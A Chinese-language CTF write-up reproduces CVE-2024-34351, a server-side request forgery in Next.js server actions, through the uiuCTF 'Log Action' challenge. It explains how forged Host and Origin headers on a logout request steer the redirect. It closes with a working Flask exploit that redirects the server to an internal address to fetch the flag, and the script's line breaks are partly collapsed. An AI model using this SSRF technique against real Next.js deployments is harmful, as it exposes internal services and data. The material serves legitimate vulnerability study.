CVE-2024-34351,由Next.js異步函數createRedirectRenderResult
導致的SSRF。
影響版本:13.4.0<= Next.js < 14.1.1
參考文章:
Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub
在 NextJS 應用中挖掘 SSRF (assetnote.io)
CVE-2024-34351|Next.js框架存在SSRF漏洞-騰訊云開發者社區-騰訊云 (tencent.com)
通過uiuCTF Log Action賽題復現,開題:
點擊之后是登錄,正如題目描述,登錄不起作用。
給了源碼,我們先看一看。docker里面給出了flag的位置,看到這個就知道多半不是RCE拿flag了。
ts源碼整體看下來沒什么明顯漏洞點,登錄部分用戶名是admin,密碼是每次隨機的16位數,這意味著不可能正常登錄,而且正常登錄后admin路由也不給flag。
引用一下外國老哥在wp中所闡述的觀點: Log4J RCE(遠程代碼執行)漏洞,它讓我意識到我們都使用的所有庫和模塊都可能存在潛在危險。
CVE-2024-34351簡述一下就是由于Next.js代碼漏洞引起的,,當我們調用服務器操作并響應重定向時,它會調用異步函數createRedirectRenderResult
在附件文件log-action\frontend\src\app\logout\page.tsx
,確實用到了Next.js并且進行了路由跳轉
抓一下注銷時候的包
根據老哥的源代碼分析,我們可以通過HOST
頭來控制跳轉的,因為有檢查 CSRF 攻擊的防御手段,所以我們還需要同步更新Origin
。服務器開啟監聽,收到請求!
OK到這里SSRF已經驗證了,接下來就是重定向到內網拿flag。
接下來就是SSRF拿flag的事情了,直接跳到拿flag還是跨度挺大的,中間還有一些分析,感興趣的話可以去看看國外老哥寫的文章:Log Action | Siunam’s Website (siunam321.github.io)
在安裝完docker,啟動容器時,docker會為容器默認分配一個容器子網,一般為172.17.0.0/24
但是這里后端服務的內部IP地址是172.18.0.2
直接看利用,py腳本上傳服務器,python起一個服務
exp.py
from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')
def exploit():# CORS preflight checkif request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return response# after CORS preflight checkelif request.method == 'GET':ssrfUrl = 'http://172.18.0.2/flag.txt'return redirect(ssrfUrl)if __name__ == '__main__':app.run(host='0.0.0.0', port=1717, debug=True)